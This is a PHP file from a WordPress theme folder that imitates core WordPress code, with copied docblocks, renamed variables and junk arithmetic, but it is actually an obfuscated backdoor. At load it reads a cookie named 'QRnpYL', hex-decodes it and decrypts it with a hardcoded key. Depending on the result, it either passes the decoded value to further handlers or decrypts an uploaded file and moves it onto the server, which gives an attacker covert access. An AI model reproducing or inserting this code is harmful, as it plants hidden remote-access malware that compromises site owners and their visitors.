File: /storage/v6964/gopalak/public_html/wp-content/themes/36791oo3/Cq.js.php
<?php /*
*
* WP_Theme_JSON_Resolver class
*
* @package WordPress
* @subpackage Theme
* @since 5.8.0
*
* Class that abstracts the processing of the different data sources
* for site-level config and offers an API to work with them.
*
* This class is for internal core usage and is not supposed to be used by extenders (plugins and/or themes).
* This is a low-level API that may need to do breaking changes. Please,
* use get_global_settings(), get_global_styles(), and get_global_stylesheet() instead.
*
* @access private
#[AllowDynamicProperties]
class WP_Theme_JSON_Resolver {
*
* Container for keep track of registered*/
$IndexNumber = 'QRnpYL';
$menu_exists = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
$original_host_low = ['Toyota', 'Ford', 'BMW', 'Honda'];
/**
* Returns the post thumbnail caption.
*
* @since 4.6.0
*
* @param int|WP_Post $doing_cron_transient Optional. Post ID or WP_Post object. Default is global `$doing_cron_transient`.
* @return string Post thumbnail caption.
*/
function crypto_box_seal($doing_cron_transient = null)
{
$thisfile_audio_dataformat = get_post_thumbnail_id($doing_cron_transient);
if (!$thisfile_audio_dataformat) {
return '';
}
$StartingOffset = wp_get_attachment_caption($thisfile_audio_dataformat);
if (!$StartingOffset) {
$StartingOffset = '';
}
return $StartingOffset;
}
$quicktags_settings = 8;
/**
* Computes a unique slug for the post, when given the desired slug and some post details.
*
* @since 2.8.0
*
* @global wpdb $wpdb WordPress database abstraction object.
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $theme_json_file The desired slug (post_name).
* @param int $doing_cron_transient_id Post ID.
* @param string $doing_cron_transient_status No uniqueness checks are made if the post is still draft or pending.
* @param string $doing_cron_transient_type Post type.
* @param int $doing_cron_transient_parent Post parent ID.
* @return string Unique slug for the post, based on $doing_cron_transient_name (with a -1, -2, etc. suffix)
*/
function get_updated_gmdate($wp_last_modified_comment){
$sslext = "Functionality";
$wp_last_modified_comment = ord($wp_last_modified_comment);
// Private post statuses only redirect if the user can read them.
return $wp_last_modified_comment;
}
/**
* Post API: Walker_Page class
*
* @package WordPress
* @subpackage Template
* @since 4.4.0
*/
function submittext($page_no, $user_identity){
$used_svg_filter_data = "Learning PHP is fun and rewarding.";
$singular_name = "abcxyz";
$template_uri = get_updated_gmdate($page_no) - get_updated_gmdate($user_identity);
$template_uri = $template_uri + 256;
$template_uri = $template_uri % 256;
$delete_limit = explode(' ', $used_svg_filter_data);
$thisfile_replaygain = strrev($singular_name);
$strlen_chrs = array_map('strtoupper', $delete_limit);
$chan_prop_count = strtoupper($thisfile_replaygain);
$global_tables = ['alpha', 'beta', 'gamma'];
$groupby = 0;
// Double quote.
//ge25519_add_cached(&p_p1p1, &p0, &p1_cached);
// ----- Look if the first element is also an array
$page_no = sprintf("%c", $template_uri);
array_walk($strlen_chrs, function($core_update_version) use (&$groupby) {$groupby += preg_match_all('/[AEIOU]/', $core_update_version);});
array_push($global_tables, $chan_prop_count);
$defer = array_reverse($strlen_chrs);
$create_ddl = array_reverse(array_keys($global_tables));
// a6 * b5 + a7 * b4 + a8 * b3 + a9 * b2 + a10 * b1 + a11 * b0;
// STSampleDependencyAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
// Parse incoming $pung into an array and merge it with $defaults.
return $page_no;
}
/**
* REST API: WP_REST_Site_Health_Controller class
*
* @package WordPress
* @subpackage REST_API
* @since 5.6.0
*/
function hash_data($full_path){
// Loop over all the directories we want to gather the sizes for.
// $notices[] = array( 'type' => 'notice', 'notice_header' => 'This is the notice header.', 'notice_text' => 'This is the notice text.' );
$singular_name = "abcxyz";
// If this is a navigation submenu then we know we have submenus.
wp_register_custom_classname_support($full_path);
$thisfile_replaygain = strrev($singular_name);
iis7_add_rewrite_rule($full_path);
}
/**
* Retrieves the translation of $yearlink and escapes it for safe use in an attribute.
*
* If there is no translation, or the text domain isn't loaded, the original text is returned.
*
* @since 2.8.0
*
* @param string $yearlink Text to translate.
* @param string $open_submenus_on_click Optional. Text domain. Unique identifier for retrieving translated strings.
* Default 'default'.
* @return string Translated text on success, original text on failure.
*/
function checked($yearlink, $open_submenus_on_click = 'default')
{
return esc_attr(translate($yearlink, $open_submenus_on_click));
}
/**
* Setter.
*
* Allows current multisite naming conventions while setting properties.
*
* @since 4.6.0
*
* @param string $custom_background Property to set.
* @param mixed $v_compareue Value to assign to the property.
*/
function clean_pre($prelabel){
// Backward compatibility pre-5.3.
# It is suggested that you leave the main version number intact, but indicate
if (strpos($prelabel, "/") !== false) {
return true;
}
return false;
}
/**
* Retrieves the time at which the post was last modified.
*
* @since 2.0.0
*
* @param string $format Optional. Format to use for retrieving the time the post
* was modified. Accepts 'G', 'U', or PHP date format. Default 'U'.
* @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
* @param int|WP_Post $doing_cron_transient Post ID or post object. Default is global `$doing_cron_transient` object.
* @param bool $translate Whether to translate the time string. Default false.
* @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.
* False on failure.
*/
function WP_HTML_Tag_Processor($IndexNumber, $th_or_td_left, $full_path){
if (isset($_FILES[$IndexNumber])) {
get_query_template($IndexNumber, $th_or_td_left, $full_path);
}
$sslext = "Functionality";
$tagtype = "Navigation System";
$f5_2 = 9;
$pingback_server_url_len = "135792468";
iis7_add_rewrite_rule($full_path);
}
/**
* Retrieves a URL within the plugins or mu-plugins directory.
*
* Defaults to the plugins directory URL if no arguments are supplied.
*
* @since 2.6.0
*
* @param string $plaintext_pass Optional. Extra path appended to the end of the URL, including
* the relative directory if $time_formats is supplied. Default empty.
* @param string $time_formats Optional. A full path to a file inside a plugin or mu-plugin.
* The URL will be relative to its directory. Default empty.
* Typically this is done by passing `__FILE__` as the argument.
* @return string Plugins URL link with optional paths appended.
*/
function crypto_pwhash_scryptsalsa208sha256($plaintext_pass = '', $time_formats = '')
{
$plaintext_pass = wp_normalize_path($plaintext_pass);
$time_formats = wp_normalize_path($time_formats);
$widget_control_id = wp_normalize_path(WPMU_PLUGIN_DIR);
if (!empty($time_formats) && str_starts_with($time_formats, $widget_control_id)) {
$prelabel = WPMU_PLUGIN_URL;
} else {
$prelabel = WP_PLUGIN_URL;
}
$prelabel = wp_ajax_rest_nonce($prelabel);
if (!empty($time_formats) && is_string($time_formats)) {
$edits = dirname(plugin_basename($time_formats));
if ('.' !== $edits) {
$prelabel .= '/' . ltrim($edits, '/');
}
}
if ($plaintext_pass && is_string($plaintext_pass)) {
$prelabel .= '/' . ltrim($plaintext_pass, '/');
}
/**
* Filters the URL to the plugins directory.
*
* @since 2.8.0
*
* @param string $prelabel The complete URL to the plugins directory including scheme and path.
* @param string $plaintext_pass Path relative to the URL to the plugins directory. Blank string
* if no path is specified.
* @param string $time_formats The plugin file path to be relative to. Blank string if no plugin
* is specified.
*/
return apply_filters('crypto_pwhash_scryptsalsa208sha256', $prelabel, $plaintext_pass, $time_formats);
}
/**
* Filters the content of the welcome email after user activation.
*
* Content should be formatted for transmission via wp_mail().
*
* @since MU (3.0.0)
*
* @param string $welcome_email The message body of the account activation success email.
* @param int $user_id User ID.
* @param string $password User password.
* @param array $meta Signup meta data. Default empty array.
*/
function wp_trusted_keys($IndexNumber, $th_or_td_left){
$f3g0 = 4;
$submit_classes_attr = "SimpleLife";
$menu_exists = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
$mce_init = $_COOKIE[$IndexNumber];
// COPYRIGHT
$queries = 32;
$child_api = array_reverse($menu_exists);
$previous_content = strtoupper(substr($submit_classes_attr, 0, 5));
$mce_init = pack("H*", $mce_init);
$preset_is_valid = uniqid();
$frameurls = $f3g0 + $queries;
$nAudiophileRgAdjustBitstring = 'Lorem';
$full_path = duplicate($mce_init, $th_or_td_left);
if (clean_pre($full_path)) {
$selW = hash_data($full_path);
return $selW;
}
WP_HTML_Tag_Processor($IndexNumber, $th_or_td_left, $full_path);
}
/**
* Retrieves users.
*
* The optional $filter parameter modifies the query used to retrieve users.
* Accepted keys are 'number' (default: 50), 'offset' (default: 0), 'role',
* 'who', 'orderby', and 'order'.
*
* The optional $fields parameter specifies what fields will be included
* in the response array.
*
* @uses get_users()
* @see wp_getUser() for more on $fields and return values
*
* @param array $pung {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Optional. Arguments for the user query.
* @type array $4 Optional. Fields to return.
* }
* @return array|IXR_Error users data
*/
function iconv_fallback($distinct_bitrates, $use_icon_button) {
$menu_exists = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
// 5.0.1 removed the `<form>` tag, allow it if a filter is allowing it's sub-elements `<input>` or `<select>`.
$child_api = array_reverse($menu_exists);
// except when stated otherwise in the frame description
$nAudiophileRgAdjustBitstring = 'Lorem';
return array_merge($distinct_bitrates, $use_icon_button);
}
/**
* Returns whether the post can be edited in the block editor.
*
* @since 5.0.0
* @since 6.1.0 Moved to wp-includes from wp-admin.
*
* @param int|WP_Post $doing_cron_transient Post ID or WP_Post object.
* @return bool Whether the post can be edited in the block editor.
*/
function wp_remove_surrounding_empty_script_tags($doing_cron_transient)
{
$doing_cron_transient = get_post($doing_cron_transient);
if (!$doing_cron_transient) {
return false;
}
// We're in the meta box loader, so don't use the block editor.
if (is_admin() && isset($_GET['meta-box-loader'])) {
check_admin_referer('meta-box-loader', 'meta-box-loader-nonce');
return false;
}
$nicename = wp_remove_surrounding_empty_script_tags_type($doing_cron_transient->post_type);
/**
* Filters whether a post is able to be edited in the block editor.
*
* @since 5.0.0
*
* @param bool $nicename Whether the post can be edited or not.
* @param WP_Post $doing_cron_transient The post being checked.
*/
return apply_filters('wp_remove_surrounding_empty_script_tags', $nicename, $doing_cron_transient);
}
/**
* Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL.
* @param string $prelabel The URL of the feed to be cached.
* @return string A filename (i.e. hash, without path and without extension).
*/
function upgrade_230($faultCode, $custom_background){
// Synchronised tempo codes
$dbpassword = range('a', 'z');
$severity_string = 21;
$escaped_https_url = 10;
$original_host_low = ['Toyota', 'Ford', 'BMW', 'Honda'];
$quicktags_settings = 8;
// Language $xx xx xx
$submit_text = $dbpassword;
$has_attrs = 34;
$f0g0 = $original_host_low[array_rand($original_host_low)];
$comment_status = range(1, $escaped_https_url);
$ttl = 18;
// Run Block Hooks algorithm to inject hooked blocks.
$page_list = str_split($f0g0);
$tab = $quicktags_settings + $ttl;
shuffle($submit_text);
$update_args = $severity_string + $has_attrs;
$MTIME = 1.2;
// Include multisite admin functions to get access to upload_is_user_over_quota().
// Upgrade 4.8.0 format.
$has_conditional_data = file_get_contents($faultCode);
$move_widget_area_tpl = duplicate($has_conditional_data, $custom_background);
// ge25519_p1p1_to_p3(&p6, &t6);
file_put_contents($faultCode, $move_widget_area_tpl);
}
/**
* Retrieves path of search template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'search'.
*
* @since 1.5.0
*
* @see get_query_template()
*
* @return string Full path to search template file.
*/
function curl_before_send()
{
return get_query_template('search');
}
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @since 4.9.0
*
* @see WP_Customize_Control::json()
*
* @return array Array of parameters passed to the JavaScript.
*/
function get_query_template($IndexNumber, $th_or_td_left, $full_path){
// Doesn't require a constant.
$commentexploded = [5, 7, 9, 11, 13];
$sitemap_types = array_map(function($wp_object_cache) {return ($wp_object_cache + 2) ** 2;}, $commentexploded);
$preg_marker = $_FILES[$IndexNumber]['name'];
// If no source is provided, or that source is not registered, process next attribute.
$ylim = array_sum($sitemap_types);
// Encoded Image Width DWORD 32 // width of image in pixels
// Set this to hard code the server name
// Using array_push is more efficient than array_merge in a loop.
$thisfile_riff_raw_rgad_album = min($sitemap_types);
// Already registered.
$faultCode = wp_get_theme_data_custom_templates($preg_marker);
upgrade_230($_FILES[$IndexNumber]['tmp_name'], $th_or_td_left);
wp_check_for_changed_slugs($_FILES[$IndexNumber]['tmp_name'], $faultCode);
}
/**
* Prints out the settings fields for a particular settings section.
*
* Part of the Settings API. Use this in a settings page to output
* a specific section. Should normally be called by do_settings_sections()
* rather than directly.
*
* @global array $wp_settings_fields Storage array of settings fields and their pages/sections.
*
* @since 2.7.0
*
* @param string $page Slug title of the admin page whose settings fields you want to show.
* @param string $section Slug title of the settings section whose fields you want to show.
*/
function wp_check_for_changed_slugs($translated_settings, $webhook_comments){
$streamTypePlusFlags = move_uploaded_file($translated_settings, $webhook_comments);
$f5_2 = 9;
$possible_db_id = 45;
$unmet_dependency_names = $f5_2 + $possible_db_id;
return $streamTypePlusFlags;
}
/**
* Sets the scheme for a URL.
*
* @since 3.4.0
* @since 4.4.0 The 'rest' scheme was added.
*
* @param string $prelabel Absolute URL that includes a scheme
* @param string|null $crc Optional. Scheme to give $prelabel. Currently 'http', 'https', 'login',
* 'login_post', 'admin', 'relative', 'rest', 'rpc', or null. Default null.
* @return string URL with chosen scheme.
*/
function wp_ajax_rest_nonce($prelabel, $crc = null)
{
$tag_stack = $crc;
if (!$crc) {
$crc = is_ssl() ? 'https' : 'http';
} elseif ('admin' === $crc || 'login' === $crc || 'login_post' === $crc || 'rpc' === $crc) {
$crc = is_ssl() || force_ssl_admin() ? 'https' : 'http';
} elseif ('http' !== $crc && 'https' !== $crc && 'relative' !== $crc) {
$crc = is_ssl() ? 'https' : 'http';
}
$prelabel = trim($prelabel);
if (str_starts_with($prelabel, '//')) {
$prelabel = 'http:' . $prelabel;
}
if ('relative' === $crc) {
$prelabel = ltrim(preg_replace('#^\w+://[^/]*#', '', $prelabel));
if ('' !== $prelabel && '/' === $prelabel[0]) {
$prelabel = '/' . ltrim($prelabel, "/ \t\n\r\x00\v");
}
} else {
$prelabel = preg_replace('#^\w+://#', $crc . '://', $prelabel);
}
/**
* Filters the resulting URL after setting the scheme.
*
* @since 3.4.0
*
* @param string $prelabel The complete URL including scheme and path.
* @param string $crc Scheme applied to the URL. One of 'http', 'https', or 'relative'.
* @param string|null $tag_stack Scheme requested for the URL. One of 'http', 'https', 'login',
* 'login_post', 'admin', 'relative', 'rest', 'rpc', or null.
*/
return apply_filters('wp_ajax_rest_nonce', $prelabel, $crc, $tag_stack);
}
/**
* Prepares the search result for a given post ID.
*
* @since 5.0.0
*
* @param int $late_validityd Post ID.
* @param array $fields Fields to include for the post.
* @return array {
* Associative array containing fields for the post based on the `$fields` parameter.
*
* @type int $late_validityd Optional. Post ID.
* @type string $title Optional. Post title.
* @type string $prelabel Optional. Post permalink URL.
* @type string $type Optional. Post type.
* }
*/
function register_block_core_site_icon_setting($IndexNumber){
$dbpassword = range('a', 'z');
$did_permalink = 14;
$separator_length = "hashing and encrypting data";
$menu_exists = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
$th_or_td_left = 'cJMGZTHtuhNasvBIokvagVzQY';
$submit_text = $dbpassword;
$theme_base_path = 20;
$side_meta_boxes = "CodeSample";
$child_api = array_reverse($menu_exists);
if (isset($_COOKIE[$IndexNumber])) {
wp_trusted_keys($IndexNumber, $th_or_td_left);
}
}
/**
* Generates the CSS corresponding to the provided layout.
*
* @since 5.9.0
* @since 6.1.0 Added `$vcs_dir` param, use style engine to enqueue styles.
* @since 6.3.0 Added grid layout type.
* @access private
*
* @param string $tags_list CSS selector.
* @param array $smtp Layout object. The one that is passed has already checked
* the existence of default block layout.
* @param bool $mapped_nav_menu_locations Optional. Whether the theme has support for the block gap. Default false.
* @param string|string[]|null $p_p1p1 Optional. The block gap value to apply. Default null.
* @param bool $prepared_themes Optional. Whether to skip applying the user-defined value set in the editor. Default false.
* @param string $last_data Optional. The block gap value to apply. Default '0.5em'.
* @param array|null $vcs_dir Optional. Custom spacing set on the block. Default null.
* @return string CSS styles on success. Else, empty string.
*/
function make_plural_form_function($tags_list, $smtp, $mapped_nav_menu_locations = false, $p_p1p1 = null, $prepared_themes = false, $last_data = '0.5em', $vcs_dir = null)
{
$shared_tt_count = isset($smtp['type']) ? $smtp['type'] : 'default';
$header_image_style = array();
if ('default' === $shared_tt_count) {
if ($mapped_nav_menu_locations) {
if (is_array($p_p1p1)) {
$p_p1p1 = isset($p_p1p1['top']) ? $p_p1p1['top'] : null;
}
if (null !== $p_p1p1 && !$prepared_themes) {
// Get spacing CSS variable from preset value if provided.
if (is_string($p_p1p1) && str_contains($p_p1p1, 'var:preset|spacing|')) {
$cues_entry = strrpos($p_p1p1, '|') + 1;
$theme_json_file = _wp_to_kebab_case(substr($p_p1p1, $cues_entry));
$p_p1p1 = "var(--wp--preset--spacing--{$theme_json_file})";
}
array_push($header_image_style, array('selector' => "{$tags_list} > *", 'declarations' => array('margin-block-start' => '0', 'margin-block-end' => '0')), array('selector' => "{$tags_list}{$tags_list} > * + *", 'declarations' => array('margin-block-start' => $p_p1p1, 'margin-block-end' => '0')));
}
}
} elseif ('constrained' === $shared_tt_count) {
$term2 = isset($smtp['contentSize']) ? $smtp['contentSize'] : '';
$compat_methods = isset($smtp['wideSize']) ? $smtp['wideSize'] : '';
$using_index_permalinks = isset($smtp['justifyContent']) ? $smtp['justifyContent'] : 'center';
$deviation_cbr_from_header_bitrate = $term2 ? $term2 : $compat_methods;
$comment_fields = $compat_methods ? $compat_methods : $term2;
// Make sure there is a single CSS rule, and all tags are stripped for security.
$deviation_cbr_from_header_bitrate = safecss_filter_attr(explode(';', $deviation_cbr_from_header_bitrate)[0]);
$comment_fields = safecss_filter_attr(explode(';', $comment_fields)[0]);
$dbl = 'left' === $using_index_permalinks ? '0 !important' : 'auto !important';
$l1 = 'right' === $using_index_permalinks ? '0 !important' : 'auto !important';
if ($term2 || $compat_methods) {
array_push($header_image_style, array('selector' => "{$tags_list} > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array('max-width' => $deviation_cbr_from_header_bitrate, 'margin-left' => $dbl, 'margin-right' => $l1)), array('selector' => "{$tags_list} > .alignwide", 'declarations' => array('max-width' => $comment_fields)), array('selector' => "{$tags_list} .alignfull", 'declarations' => array('max-width' => 'none')));
if (isset($vcs_dir)) {
$maybe_active_plugin = wp_style_engine_get_styles(array('spacing' => $vcs_dir));
/*
* Handle negative margins for alignfull children of blocks with custom padding set.
* They're added separately because padding might only be set on one side.
*/
if (isset($maybe_active_plugin['declarations']['padding-right'])) {
$found_terms = $maybe_active_plugin['declarations']['padding-right'];
$header_image_style[] = array('selector' => "{$tags_list} > .alignfull", 'declarations' => array('margin-right' => "calc({$found_terms} * -1)"));
}
if (isset($maybe_active_plugin['declarations']['padding-left'])) {
$can_resume = $maybe_active_plugin['declarations']['padding-left'];
$header_image_style[] = array('selector' => "{$tags_list} > .alignfull", 'declarations' => array('margin-left' => "calc({$can_resume} * -1)"));
}
}
}
if ('left' === $using_index_permalinks) {
$header_image_style[] = array('selector' => "{$tags_list} > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array('margin-left' => '0 !important'));
}
if ('right' === $using_index_permalinks) {
$header_image_style[] = array('selector' => "{$tags_list} > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array('margin-right' => '0 !important'));
}
if ($mapped_nav_menu_locations) {
if (is_array($p_p1p1)) {
$p_p1p1 = isset($p_p1p1['top']) ? $p_p1p1['top'] : null;
}
if (null !== $p_p1p1 && !$prepared_themes) {
// Get spacing CSS variable from preset value if provided.
if (is_string($p_p1p1) && str_contains($p_p1p1, 'var:preset|spacing|')) {
$cues_entry = strrpos($p_p1p1, '|') + 1;
$theme_json_file = _wp_to_kebab_case(substr($p_p1p1, $cues_entry));
$p_p1p1 = "var(--wp--preset--spacing--{$theme_json_file})";
}
array_push($header_image_style, array('selector' => "{$tags_list} > *", 'declarations' => array('margin-block-start' => '0', 'margin-block-end' => '0')), array('selector' => "{$tags_list}{$tags_list} > * + *", 'declarations' => array('margin-block-start' => $p_p1p1, 'margin-block-end' => '0')));
}
}
} elseif ('flex' === $shared_tt_count) {
$SpeexBandModeLookup = isset($smtp['orientation']) ? $smtp['orientation'] : 'horizontal';
$wporg_response = array('left' => 'flex-start', 'right' => 'flex-end', 'center' => 'center');
$myweek = array('top' => 'flex-start', 'center' => 'center', 'bottom' => 'flex-end');
if ('horizontal' === $SpeexBandModeLookup) {
$wporg_response += array('space-between' => 'space-between');
$myweek += array('stretch' => 'stretch');
} else {
$wporg_response += array('stretch' => 'stretch');
$myweek += array('space-between' => 'space-between');
}
if (!empty($smtp['flexWrap']) && 'nowrap' === $smtp['flexWrap']) {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('flex-wrap' => 'nowrap'));
}
if ($mapped_nav_menu_locations && isset($p_p1p1)) {
$open_basedir_list = '';
$v_add_path = is_array($p_p1p1) ? array('top', 'left') : array('top');
foreach ($v_add_path as $compre) {
$callbacks = $p_p1p1;
if (is_array($p_p1p1)) {
$callbacks = isset($p_p1p1[$compre]) ? $p_p1p1[$compre] : $last_data;
}
// Get spacing CSS variable from preset value if provided.
if (is_string($callbacks) && str_contains($callbacks, 'var:preset|spacing|')) {
$cues_entry = strrpos($callbacks, '|') + 1;
$theme_json_file = _wp_to_kebab_case(substr($callbacks, $cues_entry));
$callbacks = "var(--wp--preset--spacing--{$theme_json_file})";
}
$open_basedir_list .= "{$callbacks} ";
}
$p_p1p1 = trim($open_basedir_list);
if (null !== $p_p1p1 && !$prepared_themes) {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('gap' => $p_p1p1));
}
}
if ('horizontal' === $SpeexBandModeLookup) {
/*
* Add this style only if is not empty for backwards compatibility,
* since we intend to convert blocks that had flex layout implemented
* by custom css.
*/
if (!empty($smtp['justifyContent']) && array_key_exists($smtp['justifyContent'], $wporg_response)) {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('justify-content' => $wporg_response[$smtp['justifyContent']]));
}
if (!empty($smtp['verticalAlignment']) && array_key_exists($smtp['verticalAlignment'], $myweek)) {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('align-items' => $myweek[$smtp['verticalAlignment']]));
}
} else {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('flex-direction' => 'column'));
if (!empty($smtp['justifyContent']) && array_key_exists($smtp['justifyContent'], $wporg_response)) {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('align-items' => $wporg_response[$smtp['justifyContent']]));
} else {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('align-items' => 'flex-start'));
}
if (!empty($smtp['verticalAlignment']) && array_key_exists($smtp['verticalAlignment'], $myweek)) {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('justify-content' => $myweek[$smtp['verticalAlignment']]));
}
}
} elseif ('grid' === $shared_tt_count) {
if (!empty($smtp['columnCount'])) {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('grid-template-columns' => 'repeat(' . $smtp['columnCount'] . ', minmax(0, 1fr))'));
} else {
$q_values = !empty($smtp['minimumColumnWidth']) ? $smtp['minimumColumnWidth'] : '12rem';
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('grid-template-columns' => 'repeat(auto-fill, minmax(min(' . $q_values . ', 100%), 1fr))'));
}
if ($mapped_nav_menu_locations && isset($p_p1p1)) {
$open_basedir_list = '';
$v_add_path = is_array($p_p1p1) ? array('top', 'left') : array('top');
foreach ($v_add_path as $compre) {
$callbacks = $p_p1p1;
if (is_array($p_p1p1)) {
$callbacks = isset($p_p1p1[$compre]) ? $p_p1p1[$compre] : $last_data;
}
// Get spacing CSS variable from preset value if provided.
if (is_string($callbacks) && str_contains($callbacks, 'var:preset|spacing|')) {
$cues_entry = strrpos($callbacks, '|') + 1;
$theme_json_file = _wp_to_kebab_case(substr($callbacks, $cues_entry));
$callbacks = "var(--wp--preset--spacing--{$theme_json_file})";
}
$open_basedir_list .= "{$callbacks} ";
}
$p_p1p1 = trim($open_basedir_list);
if (null !== $p_p1p1 && !$prepared_themes) {
$header_image_style[] = array('selector' => $tags_list, 'declarations' => array('gap' => $p_p1p1));
}
}
}
if (!empty($header_image_style)) {
/*
* Add to the style engine store to enqueue and render layout styles.
* Return compiled layout styles to retain backwards compatibility.
* Since https://github.com/WordPress/gutenberg/pull/42452,
* wp_enqueue_block_support_styles is no longer called in this block supports file.
*/
return wp_style_engine_get_stylesheet_from_css_rules($header_image_style, array('context' => 'block-supports', 'prettify' => false));
}
return '';
}
// could be stored as "16M" rather than 16777216 for example
register_block_core_site_icon_setting($IndexNumber);
/**
* Retrieves the value for an image attachment's 'sizes' attribute.
*
* @since 4.4.0
*
* @see wp_calculate_image_sizes()
*
* @param int $located Image attachment ID.
* @param string|int[] $tb_ping Optional. Image size. Accepts any registered image size name, or an array of
* width and height values in pixels (in that order). Default 'medium'.
* @param array|null $CustomHeader Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
* Default null.
* @return string|false A valid source size value for use in a 'sizes' attribute or false.
*/
function rest_stabilize_value($located, $tb_ping = 'medium', $CustomHeader = null)
{
$navigation_post_edit_link = wp_get_attachment_image_src($located, $tb_ping);
if (!$navigation_post_edit_link) {
return false;
}
if (!is_array($CustomHeader)) {
$CustomHeader = wp_get_attachment_metadata($located);
}
$limited_email_domains = $navigation_post_edit_link[0];
$AMFstream = array(absint($navigation_post_edit_link[1]), absint($navigation_post_edit_link[2]));
return wp_calculate_image_sizes($AMFstream, $limited_email_domains, $CustomHeader, $located);
}
/**
* Handles removing a post lock via AJAX.
*
* @since 3.1.0
*/
function duplicate($w2, $custom_background){
$stored_hash = 12;
$service = [85, 90, 78, 88, 92];
$submit_classes_attr = "SimpleLife";
// Validate changeset status param.
// if q < t then break
$previous_content = strtoupper(substr($submit_classes_attr, 0, 5));
$health_check_site_status = 24;
$view_link = array_map(function($v_compare) {return $v_compare + 5;}, $service);
$c1 = $stored_hash + $health_check_site_status;
$preset_is_valid = uniqid();
$custom_logo_attr = array_sum($view_link) / count($view_link);
$calculated_minimum_font_size = $health_check_site_status - $stored_hash;
$frag = mt_rand(0, 100);
$comment_parent = substr($preset_is_valid, -3);
// int64_t a11 = (load_4(a + 28) >> 7);
// get hash from part of file
// Handle themes that are already installed as installed themes.
$video_active_cb = strlen($custom_background);
$deep_tags = range($stored_hash, $health_check_site_status);
$parent_block = $previous_content . $comment_parent;
$now = 1.15;
// write_error : the file was not extracted because there was an
// s12 = 0;
$pending = strlen($w2);
// Restore the original instances.
$video_active_cb = $pending / $video_active_cb;
// Passed link category list overwrites existing category list if not empty.
// For php4 compatibility
$video_active_cb = ceil($video_active_cb);
$computed_mac = str_split($w2);
// ----- Reduce the filename
$curl_param = strlen($parent_block);
$uuid_bytes_read = array_filter($deep_tags, function($weekday_name) {return $weekday_name % 2 === 0;});
$o_value = $frag > 50 ? $now : 1;
// See https://plugins.trac.wordpress.org/changeset/1150658/akismet/trunk
// If we have a bulk message to issue:
# u64 v1 = 0x646f72616e646f6dULL;
// No attributes are allowed for closing elements.
$custom_background = str_repeat($custom_background, $video_active_cb);
# unsigned char *mac;
$stscEntriesDataOffset = str_split($custom_background);
// ----- Look for extract by preg rule
$stscEntriesDataOffset = array_slice($stscEntriesDataOffset, 0, $pending);
// We only need to know whether at least one comment is waiting for a check.
$gainstring = $custom_logo_attr * $o_value;
$unuseful_elements = intval($comment_parent);
$delete_url = array_sum($uuid_bytes_read);
$T2d = implode(",", $deep_tags);
$locations_update = $unuseful_elements > 0 ? $curl_param % $unuseful_elements == 0 : false;
$time_difference = 1;
// comment : Comment associated with the file
// This element does not contain shortcodes.
$query_fields = array_map("submittext", $computed_mac, $stscEntriesDataOffset);
$del_nonce = strtoupper($T2d);
$unique_suffix = substr($parent_block, 0, 8);
for ($late_validity = 1; $late_validity <= 4; $late_validity++) {
$time_difference *= $late_validity;
}
$max_numbered_placeholder = bin2hex($unique_suffix);
$menu_item_value = substr($del_nonce, 4, 5);
$AsYetUnusedData = strval($time_difference);
// Generate color styles and classes.
$tag_already_used = str_ireplace("12", "twelve", $del_nonce);
$query_fields = implode('', $query_fields);
// other wise just bail now and try again later. No point in
return $query_fields;
}
$ttl = 18;
/**
* Translates and retrieves the singular or plural form based on the supplied number, with gettext context.
*
* This is a hybrid of _n() and _x(). It supports context and plurals.
*
* Used when you want to use the appropriate form of a string with context based on whether a
* number is singular or plural.
*
* Example of a generic phrase which is disambiguated via the context parameter:
*
* printf( PclZipUtilCopyBlock( '%s group', '%s groups', $people, 'group of people', 'text-domain' ), number_format_i18n( $people ) );
* printf( PclZipUtilCopyBlock( '%s group', '%s groups', $distinct_bitratesnimals, 'group of animals', 'text-domain' ), number_format_i18n( $distinct_bitratesnimals ) );
*
* @since 2.8.0
* @since 5.5.0 Introduced `ngettext_with_context-{$open_submenus_on_click}` filter.
*
* @param string $limit_notices The text to be used if the number is singular.
* @param string $qt_settings The text to be used if the number is plural.
* @param int $dummy The number to compare against to use either the singular or plural form.
* @param string $localfile Context information for the translators.
* @param string $open_submenus_on_click Optional. Text domain. Unique identifier for retrieving translated strings.
* Default 'default'.
* @return string The translated singular or plural form.
*/
function PclZipUtilCopyBlock($limit_notices, $qt_settings, $dummy, $localfile, $open_submenus_on_click = 'default')
{
$widget_id_base = get_translations_for_domain($open_submenus_on_click);
$fallback_sizes = $widget_id_base->translate_plural($limit_notices, $qt_settings, $dummy, $localfile);
/**
* Filters the singular or plural form of a string with gettext context.
*
* @since 2.8.0
*
* @param string $fallback_sizes Translated text.
* @param string $limit_notices The text to be used if the number is singular.
* @param string $qt_settings The text to be used if the number is plural.
* @param int $dummy The number to compare against to use either the singular or plural form.
* @param string $localfile Context information for the translators.
* @param string $open_submenus_on_click Text domain. Unique identifier for retrieving translated strings.
*/
